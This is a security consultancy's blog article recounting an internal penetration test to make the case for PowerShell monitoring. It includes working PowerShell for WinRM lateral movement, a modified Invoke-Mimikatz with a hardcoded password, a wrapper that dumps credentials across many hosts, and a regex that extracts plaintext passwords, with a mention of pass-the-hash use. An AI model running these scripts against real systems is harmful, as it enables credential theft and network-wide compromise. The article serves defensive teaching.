I want a "Red Teaming"
Michael Schneider
PowerShell monitoring is one of the measures we strongly recommend to our clients as part of every internal assessment. Often, this measure is not implemented for financial reasons. In this article, I will demonstrate why it is worth investing in monitoring, using the example of an actual attack.
During an internal penetration test, we managed to gain local administration rights on a client computer. The password of the local administrator account was also used elsewhere on client computers. In addition, the Windows Remote Management service (WinRM) was active on all systems. A connection via WinRM was established with the command Enter-PsSession
:
Enter-PsSession -ComputerName target1.example.org -Credential target1\administrator [target1.example.org]: PS C:\Users\Administrator\Documents> ps
With this, we were in a position to execute commands with local administrator rights on other systems. The goal was now to getuser credentials on each active device. We used the PowerShell script Invoke-Mimikatz.ps1 by Joe Bialek as a basis. Invoke-Mimikatz has already implemented a function to execute Mimikatz on remote computers via WinRM.
Invoke-Mimikatz -DumpCreds -ComputerName target1.example.org
To read access data as simply and efficiently as possible, we had to make a small adjustment to the Invoke-Mimikatz, and also wrote our own script for automating and logging these activities.
We began by expanding the script so that the credentials for the remote connection could be stored in the script itself. Invoke-Mimikatz normally uses the credentials of the user account that launches the script. So here we added the following lines to the Main()
function:
$Username = "$ComputerName\administrator" $PasswordPlain = "SeCuRePa$$1" $Password = ConvertTo-SecureString $PasswordPlain -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username, $Password If ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -Credential $Cred } Else { Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName -Credential $Cred }
Security notice: Saving plain-text passwords is bad security practice and should be avoided at all costs. In the TechNet Wiki Microsoft describes how to store encrypted passwords in a file or in the registry. Here it’s important to ensure that only the user who has encrypted the password is able to decrypt it. A password is stored as a SecureString
:
PS C:\> $SecurePassword = Read-Host -Prompt “Enter password” -AsSecureString Enter password: *********** PS C:\> $SecureStringAsPlainText = $SecurePassword | ConvertFrom-SecureString PS C:\> $SecureStringAsPlainText 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009a344ea59d3a1848888877bbb6cc1a140000000002000…
An encrypted, saved password is read from a file and then converted into an object so that it can be used in a script:
$SecureString = $SecureStringAsPlainText | ConvertTo-SecureString
We built a wrapper script (GitHub) that reads hostnames from a file and accesses them sequentially to read user credentials.
$BasePath = "C:\tmp" $Timestamp = (Get-Date).ToString("yyyyMd") $Protocol = "$basePath\protocol-$timestamp.txt" $Hosts = Get-Content $HostFile Foreach ($ComputerName in $Hosts) { $Time = Get-Date -Format G $StartMessage = "[*] $Time - Connecting to $ComputerName..." $StartMessage | Tee-Object -Append -FilePath $Protocol $LogMimikatz = "$BasePath\cred_$ComputerName.log" Try { Invoke-Mimikatz -ComputerName $ComputerName -ErrorAction Stop -ErrorVariable ErrorInvokeMimikatz | Out-File -Encoding utf8 $LogMimikatz } Catch { $Time = Get-Date -Format G $ErrorMessage = "[!] $Time - ERROR: $ComputerName - " + $ErrorInvokeMimikatz[1].FullyQualifiedErrorId $ErrorMessage | Tee-Object -Append -FilePath $Protocol $ErrorInvokeMimikatz = $null } $Time = Get-Date -Format G $EndMessage = "[*] $Time - $ComputerName done" $EndMessage | Tee-Object -Append -FilePath $Protocol }
The script requires the parameter HostFile
, in which all hosts are listed (one host per line). A rudimentary log is kept, describing when a host was accessed and when the processing was completed. The output of Invoke-Mimikatz is stored in a separate file. Should there be an error with a connection – if, for example, the system is inaccessible or access is denied, this is recorded in the log.
Once the script is executed, a Mimikatz output file is available for each host. In order to quickly extract information such as plain-text passwords, we use another PowerShell script (GitHub). Using a regular expression (RegEx), every entry with a password that is not blank can be stored in a file or printed out on the screen.
$PasswordRegex = "\s+\*\sUsername\s+:\s(?<username>[a-zA-Z0-9]+)[\r\n]+\s+\*\sDomain\s+:\s(?<domain>[a-zA-Z0-9]+)[\r\n]+\s+\*\sPassword\s+:\s(?<password>(?!\(null\)).*)[\r\n]+" $PasswordOutput = New-Object System.Collections.Generic.List[System.Object] Foreach ($LogFile in Get-ChildItem -Recurse $Path) { $Content = Get-Content -Raw -Path $LogFile $PasswordMatches = Select-String -InputObject $Content -AllMatches -Pattern $PasswordRegex Foreach ($Match in $PasswordMatches.Matches) { $SearchEntry = New-Object System.Object $SearchEntry | Add-Member -NotePropertyName "Username" -NotePropertyValue $Match.Groups["username"].Value $SearchEntry | Add-Member -NotePropertyName "Domain" -NotePropertyValue $Match.Groups["domain"].Value $SearchEntry | Add-Member -NotePropertyName "Password" -NotePropertyValue $Match.Groups["password"].Value $PasswordOutput.Add($SearchEntry) } } $PasswordOutput = ($PasswordOutput | Sort-Object -Property Username -Unique)
A further function of the script extracts all NTLM hashes, which can then be used for both pass-the-hash attacks and for breaking the password using hashcat.
By the way, this assessment caught more than seven passwords in one go. Active monitoring of PowerShell activity might not have prevented the attack, but the attack on user credentials would not have been undiscovered.
Our experts will get in contact with you!
Michael Schneider
Michael Schneider
Michael Schneider
Michael Schneider
Our experts will get in contact with you!